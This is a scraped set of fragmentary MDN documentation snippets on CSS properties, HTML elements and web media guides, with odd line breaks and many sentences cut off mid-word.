table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetinitialchrome full support ...
Initial value - CSS: Cascading Style Sheets
the usage of the initial value depends on whether a property is inherited or not: for inherited properties, the initial value is used on the root element only, as long as no specified value is supplied. for non-inherited properties, the initial value is used on all elements, as long as no specified value is supplied. you can explicitly specify the initial value by using the initial keyword. note: the initial value should not be confused with the value specified by the browser's style sheet. ...
<integer> - CSS: Cascading Style Sheets
3the definition of '<integer>' in that specification. candidate recommendation no significant change. css level 2 (revision 1)the definition of '<integer>' in that specification. recommendation explicit definition. css level 1the definition of '<integer>' in that specification. recommendation implicit definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet<integer>chrome full support ...
<length-percentage> - CSS: Cascading Style Sheets
/* length examples */ text-shadow: 1px 1px 1px red; border: 5px solid red; letter-spacing: 3px; /* percentage example */ text-size-adjust: 20%; } result use in calc() where a <length-percentage> is specified as an allowable type, this means that the percentage resolves to a length and therefore can be used in a calc() expression. therefore, all of the following values are accep
table for width: width: 200px; width: 20%; width: calc(100% - 200px); specifications specification status comment css values and units module level 4the definition of '<length-percentage>' in that specification. editor's draft css values and units module level 3the definition of '<length-percentage>' in that specification. candidate recommendation d...
letter-spacing - CSS: Cascading Style Sheets
etter-spacing' in that specification. recommendation no change. scalable vector graphics (svg) 1.1 (second edition)the definition of 'letter-spacing' in that specification. recommendation initial svg definition. css level 1the definition of 'letter-spacing' in that specification. recommendation initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetletter-spacingchrome full support ...
margin-bottom - CSS: Cascading Style Sheets
ttom: inherit; margin-bottom: initial; margin-bottom: unset; the margin-bottom property is specified as the keyword auto, or a <length>, or a <percentage>. its value can be positive, zero, or negative. values <length> the size of the margin as a fixed value. <percentage> the size of the margin as a percentage, relative to the width of the containing block. auto the browser selects a sui
table value to use. see margin. formal definition initial value0applies toall elements, except elements with
table display types other than
table-caption,
table and inline-
table. it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <leng...
margin-top - CSS: Cascading Style Sheets
*/ margin-top: inherit; margin-top: initial; margin-top: unset; the margin-top property is specified as the keyword auto, or a <length>, or a <percentage>. its value can be positive, zero, or negative. values <length> the size of the margin as a fixed value. <percentage> the size of the margin as a percentage, relative to the width of the containing block. auto the browser selects a sui
table value to use. see margin. formal definition initial value0applies toall elements, except elements with
table display types other than
table-caption,
table and inline-
table. it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <leng...
max() - CSS: Cascading Style Sheets
xpressions (using arithmetic operators), literal values, or other expressions, such as attr(), that evaluate to a valid argument type (like <length>), or nested min() and max() functions. you can use different units for each value in your expression. you may also use parentheses to establish computation order when needed. notes math expressions involving percentages for widths and heights on
table columns,
table column groups,
table rows,
table row groups, and
table cells in both auto and fixed layout
tables may be treated as if auto had been specified. it is permitted to nest min() and other max() functions as expression values. the expressions are full math expressions, so you can use direct addition, subtraction, multiplication and division without using the calc() function itself. th...
min() - CSS: Cascading Style Sheets
xpressions can be math expressions (using arithmetic operators), literal values, or other expressions, such as attr(), that evaluate to a valid argument type (like <length>). you can use different units for each value in your expression, if you wish. you may also use parentheses to establish computation order when needed. notes math expressions involving percentages for widths and heights on
table columns,
table column groups,
table rows,
table row groups, and
table cells in both auto and fixed layout
tables may be treated as if auto had been specified. it is permitted to nest max() and other min() functions as expression values. the expressions are full math expressions, so you can use direct addition, subtraction, multiplication and division without using the calc() function itself. th...
mix-blend-mode - CSS: Cascading Style Sheets
lend-mode: screen; } .isolate { isolation: isolate; } /* without isolation, the background color will be taken into account */ result specifications specification status comment compositing and blending level 1the definition of 'mix-blend-mode' in that specification. candidate recommendation initial definition browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmix-blend-modechrome full support ...
object-fit - CSS: Cascading Style Sheets
object-fit: scale-down; } result specifications specification status comment css images module level 4the definition of 'object-fit' in that specification. working draft css images module level 3the definition of 'object-fit' in that specification. candidate recommendation initial definition browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetobject-fitchrome full support ...
orphans - CSS: Cascading Style Sheets
comment css fragmentation module level 3the definition of 'orphans' in that specification. candidate recommendation extends orphans to apply to any type of fragment, including pages, regions, or columns. css level 2 (revision 1)the definition of 'orphans' in that specification. recommendation initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetorphanschrome full support ...
outline-color - CSS: Cascading Style Sheets
px; } result specifications specification status comment css basic user interface module level 3the definition of 'outline-color' in that specification. recommendation no change. css level 2 (revision 1)the definition of 'outline-color' in that specification. recommendation initial definition. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetoutline-colorchrome full support ...
outline-offset - CSS: Cascading Style Sheets
p> css p { outline: 1px dashed red; outline-offset: 10px; background: yellow; border: 1px solid blue; margin: 15px; } result specifications specification status comment css basic user interface module level 3the definition of 'outline-offset' in that specification. recommendation initial definition browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetoutline-offsetchrome full support ...
outline - CSS: Cascading Style Sheets
ick; /* color | style | width */ outline: green solid 3px; /* global values */ outline: inherit; outline: initial; outline: unset; the outline property may be specified using one, two, or three of the values listed below. the order of the values does not matter. note: the outline will be invisible for many elements if its style is not defined. this is because the style defaults to none. a no
table exception is input elements, which are given default styling by browsers. values <'outline-color'> sets the color of the outline. defaults to currentcolor if absent. see outline-color. <'outline-style'> sets the style of the outline. defaults to none if absent. see outline-style. <'outline-width'> sets the thickness of the outline. defaults to medium if absent. see outline-width. desc...
padding-bottom - CSS: Cascading Style Sheets
perty is specified as a single value chosen from the list below. unlike margins, negative values are not allowed for padding. values <length> the size of the padding as a fixed value. must be nonnegative. <percentage> the size of the padding as a percentage, relative to the width of the containing block. must be nonnegative. formal definition initial value0applies toall elements, except
table-row-group,
table-header-group,
table-footer-group,
table-row,
table-column-group and
table-column. it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> examples setting padding bottom with pixels and percenta...
padding-left - CSS: Cascading Style Sheets
perty is specified as a single value chosen from the list below. unlike margins, negative values are not allowed for padding. values <length> the size of the padding as a fixed value. must be nonnegative. <percentage> the size of the padding as a percentage, relative to the width of the containing block. must be nonnegative. formal definition initial value0applies toall elements, except
table-row-group,
table-header-group,
table-footer-group,
table-row,
table-column-group and
table-column. it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> examples setting left padding using pixels and percentag...
padding-right - CSS: Cascading Style Sheets
perty is specified as a single value chosen from the list below. unlike margins, negative values are not allowed for padding. values <length> the size of the padding as a fixed value. must be nonnegative. <percentage> the size of the padding as a percentage, relative to the width of the containing block. must be nonnegative. formal definition initial value0applies toall elements, except
table-row-group,
table-header-group,
table-footer-group,
table-row,
table-column-group and
table-column. it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> examples setting right padding using pixels and percenta...
padding-top - CSS: Cascading Style Sheets
perty is specified as a single value chosen from the list below. unlike margins, negative values are not allowed for padding. values <length> the size of the padding as a fixed value. must be nonnegative. <percentage> the size of the padding as a percentage, relative to the width of the containing block. must be nonnegative. formal definition initial value0applies toall elements, except
table-row-group,
table-header-group,
table-footer-group,
table-row,
table-column-group and
table-column. it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> examples setting top padding using pixels and percentage...
padding - CSS: Cascading Style Sheets
to the top, right, bottom, and left in that order (clockwise). values <length> the size of the padding as a fixed value. <percentage> the size of the padding as a percentage, relative to the width of the containing block. formal definition initial valueas each of the properties of the shorthand:padding-bottom: 0padding-left: 0padding-right: 0padding-top: 0applies toall elements, except
table-row-group,
table-header-group,
table-footer-group,
table-row,
table-column-group and
table-column. it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valueas each of the properties of the shorthand:padding-bottom: the percentage as specified or the absolute lengthpadding-left: the percentage as specified or the absolute leng...
page-break-inside - CSS: Cascading Style Sheets
eak-inside. this ensures that sites using page-break-inside continue to work as designed. a subset of values should be aliased as follows: page-break-inside break-inside auto auto avoid avoid formal definition initial valueautoapplies toblock-level elements in the normal flow of the root element. ...
paint() - CSS: Cascading Style Sheets
ights, stroke, 1px); } we've included a custom property in the selector block defining a boxcolor. custom properties are accessible to the paintworklet. specifications specification status comment css painting api level 1the definition of 'paint notation' in that specification. working draft initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpaint()chrome full support ...
place-items - CSS: Cascading Style Sheets
box has no parent, or is absolutely positioned, in these cases, auto represents normal. normal the effect of this keyword is dependent of the layout mode we are in: in block-level layouts, the keyword is a synonym of start. in absolutely-positioned layouts, the keyword behaved like start on replaced absolutely-positioned boxes, and as stretch on all other absolutely-positioned boxes. in
table cell layouts, this keyword has no meaning as this property is ignored. in flexbox layouts, this keyword has no meaning as this property is ignored. in grid layouts, this keyword leads to a behavior similar to the one of stretch, except for boxes with an aspect ratio or an intrinsic sizes where it behaves like start. start the item is packed flush to each other toward the start edge of t...
place-self - CSS: Cascading Style Sheets
ther absolutely-positioned boxes. in static position of absolutely-positioned layouts, the keyword behaves as stretch. for flex items, the keyword behaves as stretch. for grid items, this keyword leads to a behavior similar to the one of stretch, except for boxes with an aspect ratio or an intrinsic sizes where it behaves like start. the property doesn't apply to block-level boxes, and to
table cells. self-start aligns the items to be flush with the edge of the alignment container corresponding to the item's start side in the cross axis. self-end aligns the items to be flush with the edge of the alignment container corresponding to the item's end side in the cross axis. flex-start the cross-start margin edge of the flex item is flushed with the cross-start edge of the line. f...
pointer-events - CSS: Cascading Style Sheets
n that specification. candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'pointer-events' in that specification. recommendation initial definition its extension to html elements, though present in early drafts of css basic user interface module level 3, has been pushed to its level 4. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpointer-eventschrome full support ...
quotes - CSS: Cascading Style Sheets
v> css /*q { quotes: auto; }*/ result specifications specification status comment css generated content module level 3the definition of 'quotes' in that specification. working draft css level 2 (revision 1)the definition of 'quotes' in that specification. recommendation initial definition browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetquoteschrome full support ...
revert - CSS: Cascading Style Sheets
word is different from and should not be confused with initial, which uses the initial value defined on a per-property basis by the css specifications. in contrast, user-agent stylesheets set default values on the basis of css selectors. for example, the initial value for the display property is inline, whereas a normal user-agent stylesheet sets the default display value of <div>s to block, of <
table>s to
table, etc. examples revert vs unset although revert and unset are similar they differ for some properties for some elements. so in the below example, we set custom font-weight in a global stylesheet, but then try to unset and revert. unset will keep the text normal because this is an initial value for font-weight property. revert will revert to bold because this is a default value for ...
right - CSS: Cascading Style Sheets
result specifications specification status comment css positioned layout module level 3the definition of 'right' in that specification. working draft adds behavior for sticky positioning. css level 2 (revision 1)the definition of 'right' in that specification. recommendation initial definition. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrightchrome full support ...
ruby-position - CSS: Cascading Style Sheets
text html <ruby> <rb>超電磁砲</rb> <rp>（</rp><rt>レールガン</rt><rp>）</rp> </ruby> css ruby { ruby-position:under; } result specifications specification status comment css ruby layout module level 1the definition of 'ruby-position' in that specification. working draft initial definition browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetruby-position experimentalchrome no support ...
<shape> - CSS: Cascading Style Sheets
the interpolation is determined by the timing function associated with the animation. example img.clip04 { clip: rect(10px, 20px, 20px, 10px); } specifications specification status comment css level 2 (revision 1)the definition of '<shape>' in that specification. recommendation defines with the clip property. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet<shape> deprecatedchrome full support ...
text-emphasis-position - CSS: Cascading Style Sheets
xt in horizontal writing mode. right draws marks to the right of the text in vertical writing mode. left draw marks to the left of the text in vertical writing mode. description the preferred position of emphasis marks depends on the language. in japanese for example, the preferred position is over right. in chinese, on the other hand, the preferred position is under right. ...
text-justify - CSS: Cascading Style Sheets
at separate words using spaces, like english or korean. inter-character the text is justified by adding space between characters (effectively varying letter-spacing), which is most appropriate for languages like japanese. distribute exhibits the same behaviour as inter-character; this value is kept for backwards compatibility. formal definition initial valueautoapplies toinline-level and
table-cell elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | inter-character | inter-word | none examples <p class="none"><code>text-justify: none</code> —<br>lorem ipsum dolor sit amet, consectetur adipiscing elit. nunc ornare maximus vehicula. duis nisi velit, dictum id mauris vitae, lobortis pretium quam. quisque sed nisi pulvinar, consequat justo id, f...
text-rendering - CSS: Cascading Style Sheets
atures (ff, fi, fl, etc.) in text smaller than 20px for some fonts (for example, microsoft's calibri, candara, constantia, and corbel, or the dejavu font family). syntax values auto the browser makes educated guesses about when to optimize for speed, legibility, and geometric precision while drawing text. for differences in how this value is interpreted by the browser, see the compatibility
table. optimizespeed the browser emphasizes rendering speed over legibility and geometric precision when drawing text. it disables kerning and ligatures. optimizelegibility the browser emphasizes legibility over rendering speed and geometric precision. this enables kerning and optional ligatures. geometricprecision the browser emphasizes geometric precision over rendering speed and legibility. ...
text-size-adjust - CSS: Cascading Style Sheets
other browsers will ignore this property. /* keyword values */ text-size-adjust: none; text-size-adjust: auto; /* <percentage> value */ text-size-adjust: 80%; /* global values */ text-size-adjust: inherit; text-size-adjust: initial; text-size-adjust: unset; because many websites have not been developed with small devices in mind, mobile browsers differ from desktop browsers in the way they render web pages. instead of laying out pages at the width of the device screen, they lay them out using a viewport that is much wider, usually 800 or 1000 pixels. ...
transform-box - CSS: Cascading Style Sheets
x: content-box; transform-box: border-box; transform-box: fill-box; transform-box: stroke-box; transform-box: view-box; /* global values */ transform-box: inherit; transform-box: initial; transform-box: unset; syntax the transform-box property is specified as one of the keyword values listed below. values content-box the content box is used as the reference box. the reference box of a <
table> is the border box of its
table wrapper box, not its
table box. border-box the border box is used as the reference box. the reference box of a <
table> is the border box of its
table wrapper box, not its
table box. fill-box the object bounding box is used as the reference box. stroke-box the stroke bounding box is used as the reference box. view-box the nearest svg viewport is used as th...
transform - CSS: Cascading Style Sheets
send us a pull request. if the property has a value different than none, a stacking context will be created. in that case, the element will act as a containing block for any position: fixed; or position: absolute; elements that it contains. only transformable elements can be transformed. that is, all elements whose layout is governed by the css box model except for: non-replaced inline boxes,
table-column boxes, and
table-column-group boxes. syntax /* keyword values */ transform: none; /* function values */ transform: matrix(1.0, 2.0, 3.0, 4.0, 5.0, 6.0); transform: matrix3d(1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); transform: perspective(17px); transform: rotate(0.5turn); transform: rotate3d(1, 2.0, 3.0, 10deg); transform: rotatex(10deg); transform: rotatey(10deg); transform: ro...
user-modify - CSS: Cascading Style Sheets
the user-modify property has no effect in firefox. it was originally planned to determine whether or not the content of an element can be edited by a user. /* keyword values */ user-modify: read-only; user-modify: read-write; user-modify: write-only; /* global values */ user-modify: inherit; user-modify: initial; user-modify: unset; this property has been replaced by the contentedi
table attribute. syntax the -moz-user-modify property is specified as one of the keyword values from the list below. values read-only default value. contents are read-only. read-write the user is able to read and write contents. read-write-plaintext-only same as read-write, but rich text formatting will be lost. write-only the user is able to edit the content, but not to read it. formal defi...
white-space - CSS: Cascading Style Sheets
ap, except that: any sequence of preserved white space always takes up space, including at the end of the line. a line breaking opportunity exists after every preserved white space character, including between white space characters. such preserved spaces take up space and do not hang, and thus affect the box’s intrinsic sizes (min-content size and max-content size). ...
width - CSS: Cascading Style Sheets
, <length-percentage>)). accessibility concerns ensure that elements set with a width aren't truncated and don't obscure other content when the page is zoomed to increase text size. ...
CSS: Cascading Style Sheets
t css1, css2.1, css3. however, css4 has never become an official version. from css3, the scope of the specification increased significantly and the progress on different css modules started to differ so much, that it became more effective to develop and release recommendations separately per module. instead of versioning the css specification, w3c now periodically takes a snapshot of the latest s
table state of the css specification. css introduction if you're new to web development, be sure to read our css basics article to learn what css is and how to use it. css tutorials our css learning area contains a wealth of tutorials to take you from beginner level to proficiency, covering all the fundamentals. css reference our exhaustive css reference for seasoned web developers des...
Community - Developer guides
if you know of useful mailing lists, newsgroups, forums, or other communities related to ajax, please link to them here. ...
Adding captions and subtitles to HTML5 video - Developer guides
as the type of content that we're adding, the language it's in, and of course a reference to the text file that contains the actual subtitle information. webvtt the files that contain the actual subtitle data are simple text files that follow a specified format, in this case the web video text tracks (webvtt) format. the webvtt specification is still being worked on, but major parts of it are s
table so we can use it today. video providers (such as the blender foundation) provide captions and subtitles in a text format with their videos, but they're usually in the subrip text (srt) format. these can be easily converted to webvtt using an online converter such as srt2vtt. modifications to the html and css this section summarises the modifications made to the previous article's code in order...
Cross-browser audio basics - Developer guides
f the media without further buffering. myseekabletimeranges = myaudio.seekable; buffering events there are also a couple of events related to buffering: seeking the seeking event is fired when media is being sought. seeked seeked occurs when the seeking attribute changes to false. note: you can read more on buffering, seeking and time ranges elsewhere. browser support the following
tables list basic audio support across desktop and mobile browsers, and what audio codecs are supported. desktop desktop browser version chrome 4+ firefox 3.5+ internet explorer 9+ opera 10.5+ safari 4+ mobile mobile browser version chrome (android) 32+ firefox (android) 26+ ...
Setting up adaptive streaming media sources - Developer guides
k for browsers that don't yet support mpeg-dash: <video> <source src="my.mpd" type="application/dash+xml"> <!-- fallback --> <source src="my.mp4" type="video/mp4"> <source src="my.webm" type="video/webm"> </video> live profile a useful piece of software when dealing with mpeg-dash is dash encoder. this uses mp4box to encode media into mpeg-dash format. note: you will need to be comfor
table with make files and installing dependencies to get this software up and running. note: since mpeg-dash decoding is done partially using javascript and mse files are often grabbed using xhr, keep same origin rules in mind. note: if you use webm you can use the methods shown in this tutorial dash adaptive streaming for html 5 video. once encoded your file structure may look something like t...
Writing Web Audio API code that works in every browser - Developer guides
ill have to wait until it is supported, or maybe, if you're really eager, hack in some replacement using scriptprocessornode, which allows you to write a node with callbacks that get called periodically, so that your javascript code generates or processes audio. the node parameters you use must also be supported in firefox too. if they aren't, you might be able to change them into something "accep
table" for the time being, and count on the talented audio developers to implement those very soon. for example, up until a couple of days ago pannernode did not support the default hrtf panning model yet, and attempting to use a pannernode with that configuration simply resulted in silence or a mono output coming out from that node, depending on the build you used. today the support is already present...
Audio and Video Delivery - Developer guides
the h.264 video format in firefox/firefox os, including code examples, tips and tricks. easy audio capture with the mediarecorder api explains the basics of using the mediarecorder api to directly record a media stream. note: firefox os versions 1.3 and above support the rtsp protocol for streaming video delivery. a fallback solution for older versions would be to use <video> along with a sui
table format for gecko (such as webm) to serve fallback content. more information will be published on this in good time. references the video element media events api htmlvideoelement api mediasource api web audio api mediarecorder api getusermedia ...
Orientation and motion data explained - Developer guides
z") to describe the axes of the device coordinate frame. the x axis is in the plane of the screen and is positive toward the right and negative toward the left. the y axis is in the plane of the screen and is positive toward the top and negative toward the bottom. the z axis is perpendicular to the screen or keyboard, and is positive extending outward from the screen. note: on a phone or
tablet, the orientation of the device is always considered in relation to the standard orientation of the screen; this is the "portrait" orientation on most devices. on a laptop computer, the orientation is considered in relation to the keyboard. if you want to detect changes in device orientation in order to compensate, you can use the orientationchange event. about rotation rotation is described ab...
HTML5 Parser - Developer guides
elements or within comments. for example, if the document lacked a </title> closing tag, the parser would reparse to look for the first '<' in the document, or if a comment was not closed, it would look for the first '>'. this behavior created a security vulnerability. if an attacker could force a premature end-of-file, the parser might change which parts of the document it considered to be execu
table scripts. in addition, supporting reparsing led to unnecessarily complex parsing code. with html5, parsers no longer reparse documents. this change has the following consequences for web developers: if you omit the closing tag for <title>, <style>, <textarea>, or <xmp>, the page will fail to be parsed. ie already fails to parse documents with a missing </title> tag, so if you test with ie, you...
HTML5 - Developer guides
g it to display dynamic content, varying according to the time and user actions. this is the technology behind ajax. jit-compiling javascript engines the new generation of javascript engines is much more powerful, leading to greater performance. history api allows the manipulation of the browser history. this is especially useful for pages loading interactively new information. the contentedi
table attribute: transform your website to a wiki! html5 has standardized the contentedi
table attribute. learn more about this feature. drag and drop the html5 drag and drop api allows support for dragging and dropping items within and between web sites. this also provides a simpler api for use by extensions and mozilla-based applications. focus management in html the new html5 activeelement and h...
A hybrid approach - Developer guides
tent around. we’ve talked about incorporating server-side techniques into a responsive design, but there are even ways to use the hybrid approach if your use cases for mobile and desktop are very different. you could, for example, increase the flexibility of your separate site designs by incorporating media queries and a flexible layout. you may even be able to make your mobile site design adap
table enough to extend comfortably to
tablets as well. examples for mozilla's web o’ wonder demo site, we tried out a basic version of the hybrid approach, with positive results. we used some elements of responsive web design to give the site a mobile layout, along with user-agent detection to provide mobile-friendly videos and to re-order the demos if the user is on a phone. feel free to check out...
Optimization and performance - Developer guides
when building modern web apps and sites, it's important to make your content perform well. that is, to make it work quickly and efficiently. this lets it work effectively both for users of powerful desktop systems as well as for handheld devices with less power. there are several tools available to check the performance of a website or blog. the most no
table tools are listed below. google pagespeed insights lighthouse webpagetest browser developer tools the above resources also include web performance best practices. making web performance a priority by considering web performance throughout the development process is important in ensuring users get the best user experience possible. there are no subpages at this time. ...
The Web Open Font Format (WOFF) - Developer guides
woff (the web open font format) is a web font format developed by mozilla in concert with type supply, letterror, and other organizations. it uses a compressed version of the same
table-based sfnt structure used by truetype, opentype, and open font format, but adds metadata and private-use data structures, including predefined fields allowing foundries and vendors to provide license information if desired. there are three main benefits to using woff: the font data is compressed, so sites using woff will use less bandwidth and will load faster than if they used equivalent uncompressed truetype or opentype files. many font vendors that are unwilling to license their truetype or opentype format fonts for use on the web will license woff format fonts. this improves availability of font...
HTML attribute: max - HTML: Hypertext Markup Language
if the value of the element is greater than this, the element fails constraint validation. this value must be greater than or equal to the value of the min attribute. if the max attribute is present by is not specified or is invalid, no max value is applied. if the max attribute is valid and a non-empty value is greater than the maximum allowed by the max attribute, constraint validation will prevent form submission. ...
HTML attribute: min - HTML: Hypertext Markup Language
if the value of the element is less than this, the element fails constraint validation. this value must be less than or equal to the value of the max attribute. if a value is specified for min that isn't a valid number, the input has no minimum value. valid for the numeric input types, including the date, month, week, time, datetime-local, number and range types, and the <meter> element, the min attribute is a number that specifies the most negative value a form control to be considered valid. ...
HTML attribute: rel - HTML: Hypertext Markup Language
e defines the relationship between a linked resource and the current document. valid on <link>, <a>, <area>, and <form>, the supported values depend on the element on which the attribute is found. the type of relationships is given by the value of the rel attribute, which, if present, must have a value that is an unordered set of unique space-separated keywords, which are listed in the following
table. every keyword within a space seperated value should be unique within that value. values for the rel attribute, and the elements for which each is relevant rel value description <link> <a> and <area> <form> alternate alternate representations of the current document. link link not allowed author author of the current document or article.
Block-level elements - HTML: Hypertext Markup Language
input form. <h1>, <h2>, <h3>, <h4>, <h5>, <h6> heading levels 1-6. <header> section or page header. <hgroup> groups header information. <hr> horizontal rule (dividing line). <li> list item. <main> contains the central content unique to this document. <nav> contains navigation links. <ol> ordered list. <p> paragraph. <pre> preformatted text. <section> section of a web page. <
table>
table. <ul> unordered list. see also inline elements display block and inline layout in normal flow ...
Allowing cross-origin use of images and canvas - HTML: Hypertext Markup Language
defined by the <img> element that are loaded from foreign origins to be used in a <canvas> as if they had been loaded from the current origin. see cors settings attributes for details on how the crossorigin attribute is used. security and tainted canvases because the pixels in a canvas's bitmap can come from a variety of sources, including images or videos retrieved from other hosts, it's inevi
table that security problems may arise. as soon as you draw into a canvas any data that was loaded from another origin without cors approval, the canvas becomes tainted. a tainted canvas is one which is no longer considered secure, and any attempts to retrieve image data back from the canvas will cause an exception to be thrown. if the source of the foreign content is an html <img> or svg <svg> eleme...
Date and time formats used in HTML - HTML: Hypertext Markup Language
) to handle the remaining three ten-thousandths of a day and to compensate for the gradual, naturally occurring slowing of earth's rotation. while month 02, february, normally has 28 days, it has 29 days in leap years. months of the year there are 12 months in the year, numbered 1 through 12. they are always represented by a two-digit ascii string whose value ranges from 01 through 12. see the
table in the section days of the month for the month numbers and their corresponding names (and lengths in days). days of the month month numbers 1, 3, 5, 7, 8, 10, and 12 are 31 days long. months 4, 6, 9, and 11 are 30 days long. month 2, february, is 28 days long most years, but is 29 days long in leap years. this is detailed in the following
table. the months of the year and their lengths in da...
<h1>–<h6>: The HTML Section Heading elements - HTML: Hypertext Markup Language
e <hgroup> element — it is now deprecated. implicit aria role heading permitted aria roles tab, presentation or none dom interface htmlheadingelement attributes these elements only include the global attributes. the align attribute is obsolete; don't use it. usage notes heading information may be used by user agents, for example, to construct a
table of contents for a document automatically. avoid using heading tags to resize text. instead, use the css font-size property. headings use size to indicate their relative importance, but css is preferred for general-purpose resizing. avoid skipping heading levels: always start from <h1>, next use <h2> and so on. you should only use one <h1> per page. using more than one will not result in an err...
<acronym> - HTML: Hypertext Markup Language
font-variant: none in the css takes care of this case. it is therefore recommended that web authors either explicitly style this element, or accept some cross-browser variation. specifications specification status comment html 4.01 specificationthe definition of '<acronym>' in that specification. recommendation browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetacronym deprecatednon-standardchrome full support...
<article>: The Article Contents element - HTML: Hypertext Markup Language
examples include: a forum post, a magazine or newspaper article, or a blog entry. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
<button>: The Button element - HTML: Hypertext Markup Language
ns on, but you can change buttons’ appearance with css. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, interactive content, listed, labelable, and submit
table form-associated element, palpable content. permitted content phrasing content but there must be no interactive content tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role button permitted aria roles checkbox, link, menuitem, menuitemcheckbox, m...
<content>: The Shadow DOM Content Placeholder element (obsolete) - HTML: Hypertext Markup Language
rt into the shadow dom a new heading and // part of the original content: the <p> tag. shadowroot.innerhtml = '<h2>inserted heading</h2> <content select="p"></content>'; </script> </body> </html> if you display this in a web browser it should look like the following. specifications this element is no longer defined by any specifications. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcontent deprecatednon-standardchrome full support...
<div>: The Content Division element - HTML: Hypertext Markup Language
ibute is obsolete; do not use it anymore. instead, you should use css properties or techniques such as css grid or css flexbox to align and position <div> elements on the page. usage notes the <div> element should be used only when no other semantic element (such as <article> or <nav>) is appropriate. examples a simple example <div> <p>any kind of content here. such as <p>, <
